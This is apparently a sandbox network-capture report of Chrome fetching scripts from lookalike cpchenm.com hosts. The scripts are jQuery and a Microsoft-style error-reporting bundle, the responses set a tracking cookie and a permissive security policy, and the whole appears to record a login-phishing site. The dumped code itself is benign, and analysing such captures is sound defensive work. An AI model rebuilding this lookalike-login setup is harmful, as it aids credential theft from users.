2024-11-12 16:29:46 UTC	1105	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:46 GMT Etag: 0x8D8DA1D997CA245 Last-Modified: Fri, 26 Feb 2021 06:13:13 GMT
2024-11-12 16:29:46 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 34 36 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 63 77 30 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162946Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000scw0X-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:46 UTC	2001	IN	Data Raw: 31 64 33 36 30 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 Data Ascii: 1d360/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(
2024-11-12 16:29:46 UTC	559	IN	Data Raw: 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 53 2e 65 78 74 65 6e 64 3d 53 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 28 Data Ascii: his.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(
2024-11-12 16:29:46 UTC	4716	IN	Data Raw: 72 26 26 28 61 5b 74 5d 3d 72 29 29 3b 72 65 74 75 72 6e 20 61 7d 2c 53 2e 65 78 74 65 6e 64 28 7b 65 78 70 61 6e 64 6f 3a 22 6a 51 75 65 72 79 22 2b 28 66 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2e 72 65 70 6c 61 63 65 28 2f 5c 44 2f 67 2c 22 22 29 2c 69 73 52 65 61 64 79 3a 21 30 2c 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 65 29 7d 2c 6e 6f 6f 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d Data Ascii: r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==
2024-11-12 16:29:46 UTC	5895	IN	Data Raw: 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 Data Ascii: .cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("\|")
2024-11-12 16:29:46 UTC	7074	IN	Data Raw: 69 66 28 6e 7c 7c 64 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 4d 61 74 63 68 7c 7c 65 2e 64 6f 63 75 6d 65 6e 74 26 26 31 31 21 3d 3d 65 2e 64 6f 63 75 6d 65 6e 74 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 65 29 7b 4e 28 74 2c 21 30 29 7d 72 65 74 75 72 6e 20 30 3c 73 65 28 74 2c 43 2c 6e 75 6c 6c 2c 5b 65 5d 29 2e 6c 65 6e 67 74 68 7d 2c 73 65 2e 63 6f 6e 74 61 69 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 21 3d 43 26 26 54 28 65 29 2c 79 28 65 2c 74 29 7d 2c 73 65 2e 61 74 74 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 21 3d 43 26 26 54 28 65 29 3b 76 61 72 20 6e 3d 62 2e 61 Data Ascii: if(n\|\|d.disconnectedMatch\|\|e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument\|\|e)!=C&&T(e),y(e,t)},se.attr=function(e,t){(e.ownerDocument\|\|e)!=C&&T(e);var n=b.a
2024-11-12 16:29:46 UTC	8253	IN	Data Raw: 6e 2c 72 29 2c 70 3d 67 3f 79 7c 7c 28 65 3f 64 3a 6c 7c 7c 76 29 3f 5b 5d 3a 74 3a 66 3b 69 66 28 67 26 26 67 28 66 2c 70 2c 6e 2c 72 29 2c 76 29 7b 69 3d 54 65 28 70 2c 75 29 2c 76 28 69 2c 5b 5d 2c 6e 2c 72 29 2c 6f 3d 69 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 28 61 3d 69 5b 6f 5d 29 26 26 28 70 5b 75 5b 6f 5d 5d 3d 21 28 66 5b 75 5b 6f 5d 5d 3d 61 29 29 7d 69 66 28 65 29 7b 69 66 28 79 7c 7c 64 29 7b 69 66 28 79 29 7b 69 3d 5b 5d 2c 6f 3d 70 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 28 61 3d 70 5b 6f 5d 29 26 26 69 2e 70 75 73 68 28 66 5b 6f 5d 3d 61 29 3b 79 28 6e 75 6c 6c 2c 70 3d 5b 5d 2c 69 2c 72 29 7d 6f 3d 70 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 28 61 3d 70 5b 6f 5d 29 26 26 2d 31 3c 28 69 3d 79 3f 50 Data Ascii: n,r),p=g?y\|\|(e?d:l\|\|v)?[]:t:f;if(g&&g(f,p,n,r),v){i=Te(p,u),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(y\|\|d){if(y){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);y(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=y?P
2024-11-12 16:29:46 UTC	9432	IN	Data Raw: 6e 20 73 26 26 28 74 26 26 21 69 26 26 28 6c 3d 73 2e 6c 65 6e 67 74 68 2d 31 2c 75 2e 70 75 73 68 28 74 29 29 2c 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 53 2e 65 61 63 68 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6d 28 74 29 3f 72 2e 75 6e 69 71 75 65 26 26 66 2e 68 61 73 28 74 29 7c 7c 73 2e 70 75 73 68 28 74 29 3a 74 26 26 74 2e 6c 65 6e 67 74 68 26 26 22 73 74 72 69 6e 67 22 21 3d 3d 77 28 74 29 26 26 6e 28 74 29 7d 29 7d 28 61 72 67 75 6d 65 6e 74 73 29 2c 74 26 26 21 69 26 26 63 28 29 29 2c 74 68 69 73 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3b 77 68 69 6c 65 28 2d 31 3c 28 6e 3d 53 2e 69 6e Data Ascii: n s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){S.each(e,function(e,t){m(t)?r.unique&&f.has(t)\|\|s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return S.each(arguments,function(e,t){var n;while(-1<(n=S.in
2024-11-12 16:29:46 UTC	10611	IN	Data Raw: 74 28 22 69 6e 70 75 74 22 29 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 72 61 64 69 6f 22 29 2c 66 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 63 68 65 63 6b 65 64 22 2c 22 63 68 65 63 6b 65 64 22 29 2c 66 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 74 22 29 2c 63 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 66 65 29 2c 79 2e 63 68 65 63 6b 43 6c 6f 6e 65 3d 63 65 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 2e 6c 61 73 74 43 68 69 6c 64 2e 63 68 65 63 6b 65 64 2c 63 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 74 65 78 74 61 72 65 61 3e 78 3c 2f 74 65 78 74 61 72 65 61 3e 22 2c 79 2e 6e 6f 43 6c 6f 6e 65 43 68 65 63 6b 65 64 3d 21 21 63 65 2e 63 6c 6f 6e 65 4e 6f 64 Data Ascii: t("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="<textarea>x</textarea>",y.noCloneChecked=!!ce.cloneNod
2024-11-12 16:29:47 UTC	11790	IN	Data Raw: 3f 53 2e 5f 65 76 61 6c 55 72 6c 26 26 21 75 2e 6e 6f 4d 6f 64 75 6c 65 26 26 53 2e 5f 65 76 61 6c 55 72 6c 28 75 2e 73 72 63 2c 7b 6e 6f 6e 63 65 3a 75 2e 6e 6f 6e 63 65 7c 7c 75 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 29 7d 2c 6c 29 3a 62 28 75 2e 74 65 78 74 43 6f 6e 74 65 6e 74 2e 72 65 70 6c 61 63 65 28 6a 65 2c 22 22 29 2c 75 2c 6c 29 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 2c 69 3d 74 3f 53 2e 66 69 6c 74 65 72 28 74 2c 65 29 3a 65 2c 6f 3d 30 3b 6e 75 6c 6c 21 3d 28 72 3d 69 5b 6f 5d 29 3b 6f 2b 2b 29 6e 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 53 2e 63 6c 65 61 6e 44 61 74 61 28 76 65 28 72 29 29 2c 72 2e 70 61 72 65 6e 74 4e 6f 64 65 Data Ascii: ?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce\|\|u.getAttribute("nonce")},l):b(u.textContent.replace(je,""),u,l))}return n}function Re(e,t,n){for(var r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n\|\|1!==r.nodeType\|\|S.cleanData(ve(r)),r.parentNode

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49208	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:47 UTC	631	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" Origin: https://tvrceocprq.cpchenm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 16:29:47 UTC	1144	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:47 GMT Etag: 0x8DA5944A4FF258E Last-Modified: Tue, 28 Jun 2022 20:27:38 GMT
2024-11-12 16:29:47 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 5f 75 6e 58 47 46 4d 67 38 6a 34 4b 51 55 62 51 4b 42 33 62 4b 61 4d 44 78 72 64 58 31 43 36 4f 77 48 72 31 79 5a 6f 37 35 4f 38 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 34 37 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 64 31 32 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=_unXGFMg8j4KQUbQKB3bKaMDxrdX1C6OwHr1yZo75O8; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162947Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000sd12X-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:47 UTC	1962	IN	Data Raw: 32 34 34 35 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 72 65 74 75 72 6e 28 78 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 7c 7c 22 22 29 2e 63 6f 6e 63 61 74 28 22 2f 2f 22 2c 78 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 78 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 69 66 28 65 29 7b 74 72 79 7b 76 61 72 20 72 3d 2f 66 75 6e 63 74 69 6f 6e 20 28 2e 7b 31 2c 7d 29 5c 28 2f 2c 6e 3d 72 2e 65 78 65 63 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 72 65 74 75 72 6e 20 6e 26 26 6e 2e 6c 65 6e 67 74 68 3e 31 3f 6e 5b 31 5d 3a 22 22 7d 63 61 74 63 68 28 65 29 7b 7d 7d 72 65 74 75 72 6e 22 22 7d 66 75 6e 63 74 69 6f Data Ascii: 2445!function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}functio
2024-11-12 16:29:47 UTC	559	IN	Data Raw: 73 3d 22 49 6e 76 61 6c 69 64 4d 65 74 68 6f 64 28 29 22 3b 74 72 79 7b 73 3d 61 2e 74 6f 53 74 72 69 6e 67 28 29 7d 63 61 74 63 68 28 65 29 7b 7d 76 61 72 20 75 3d 22 22 3b 69 66 28 72 29 7b 0a 76 61 72 20 64 3d 61 2e 61 72 67 73 7c 7c 61 2e 61 72 67 75 6d 65 6e 74 73 3b 64 26 26 28 75 3d 67 28 73 2c 64 29 29 7d 76 61 72 20 63 3d 76 28 61 2c 6e 29 3b 75 26 26 28 63 2b 3d 22 20 2d 2d 20 61 72 67 73 3a 5b 22 2b 75 2b 22 5d 22 29 2c 6f 2e 70 75 73 68 28 63 29 7d 72 65 74 75 72 6e 20 6f 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 54 3d 21 30 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 2e 73 75 62 73 74 72 69 6e 67 28 65 2e 69 6e 64 65 78 4f 66 28 22 28 22 29 2b 31 2c 65 2e 69 6e 64 65 78 4f 66 28 22 29 22 29 29 2c 74 3d 6e 3f 6e 2e Data Ascii: s="InvalidMethod()";try{s=a.toString()}catch(e){}var u="";if(r){var d=a.args\|\|a.arguments;d&&(u=g(s,d))}var c=v(a,n);u&&(c+=" -- args:["+u+"]"),o.push(c)}return o}function f(){T=!0}function g(e,r){var n=e.substring(e.indexOf("(")+1,e.indexOf(")")),t=n?n.
2024-11-12 16:29:47 UTC	4716	IN	Data Raw: 6f 6e 22 3d 3d 3d 72 3f 76 28 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 3f 21 65 2e 74 6f 53 74 72 69 6e 67 7c 7c 43 26 26 43 2e 53 61 66 61 72 69 3f 72 3a 65 2e 74 6f 53 74 72 69 6e 67 28 29 3a 22 62 6f 6f 6c 65 61 6e 22 3d 3d 3d 72 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 3d 72 3f 65 2e 74 6f 53 74 72 69 6e 67 28 29 3a 22 5b 22 2b 72 2b 22 5d 22 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 6c 65 6e 67 74 68 3e 72 26 26 28 65 3d 65 2e 73 75 62 73 74 72 28 30 2c 72 2d 33 29 2b 22 2e 2e 2e 22 29 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3b 69 66 28 65 29 7b 76 61 72 20 74 3d 65 2e 74 6f 53 74 72 69 6e 67 3f 65 2e 74 6f 53 74 72 69 6e 67 28 29 3a 22 49 6e 76 61 6c 69 64 4d Data Ascii: on"===r?v(e):"object"===r?!e.toString\|\|C&&C.Safari?r:e.toString():"boolean"===r\|\|"number"===r?e.toString():"["+r+"]"}function h(e,r){return e&&e.length>r&&(e=e.substr(0,r-3)+"..."),e}function v(e,r){var n=null;if(e){var t=e.toString?e.toString():"InvalidM
2024-11-12 16:29:47 UTC	2054	IN	Data Raw: 64 6f 65 73 20 6e 6f 74 20 6f 72 69 67 69 6e 61 74 65 20 66 72 6f 6d 20 6f 6e 65 20 6f 66 20 74 68 65 20 65 78 70 65 63 74 65 64 20 6b 6e 6f 77 6e 20 73 6f 75 72 63 65 73 22 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 64 2e 65 78 70 53 72 63 73 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 61 2b 3d 22 5c 6e 20 20 2d 20 22 2b 64 2e 65 78 70 53 72 63 73 5b 63 5d 7d 7d 7d 7d 7d 76 61 72 20 6c 3d 6e 28 69 2c 52 2c 21 30 29 3b 69 66 28 6c 26 26 28 61 2b 3d 22 5c 6e 54 68 65 20 73 74 61 63 6b 20 74 72 61 63 65 20 63 6f 6e 74 61 69 6e 73 20 61 6e 20 69 64 65 6e 74 69 66 69 65 64 20 73 74 72 69 6e 67 20 74 6f 20 62 65 20 69 67 6e 6f 72 65 64 5c 6e 20 20 2d 20 22 2b 6c 29 2c 6c 3d 6e 28 72 2c 24 2c 21 30 29 2c 6c 26 26 28 61 2b 3d 22 5c 6e 54 68 65 20 6d 65 73 73 61 67 Data Ascii: does not originate from one of the expected known sources";for(var c=0;c<d.expSrcs.length;c++){a+="\n - "+d.expSrcs[c]}}}}}var l=n(i,R,!0);if(l&&(a+="\nThe stack trace contains an identified string to be ignored\n - "+l),l=n(r,$,!0),l&&(a+="\nThe messag
2024-11-12 16:29:47 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49209	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:47 UTC	482	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:47 UTC	1105	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:47 GMT Etag: 0x8D876CB1D67B929 Last-Modified: Thu, 22 Oct 2020 20:43:21 GMT
2024-11-12 16:29:47 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 34 37 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 72 74 79 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 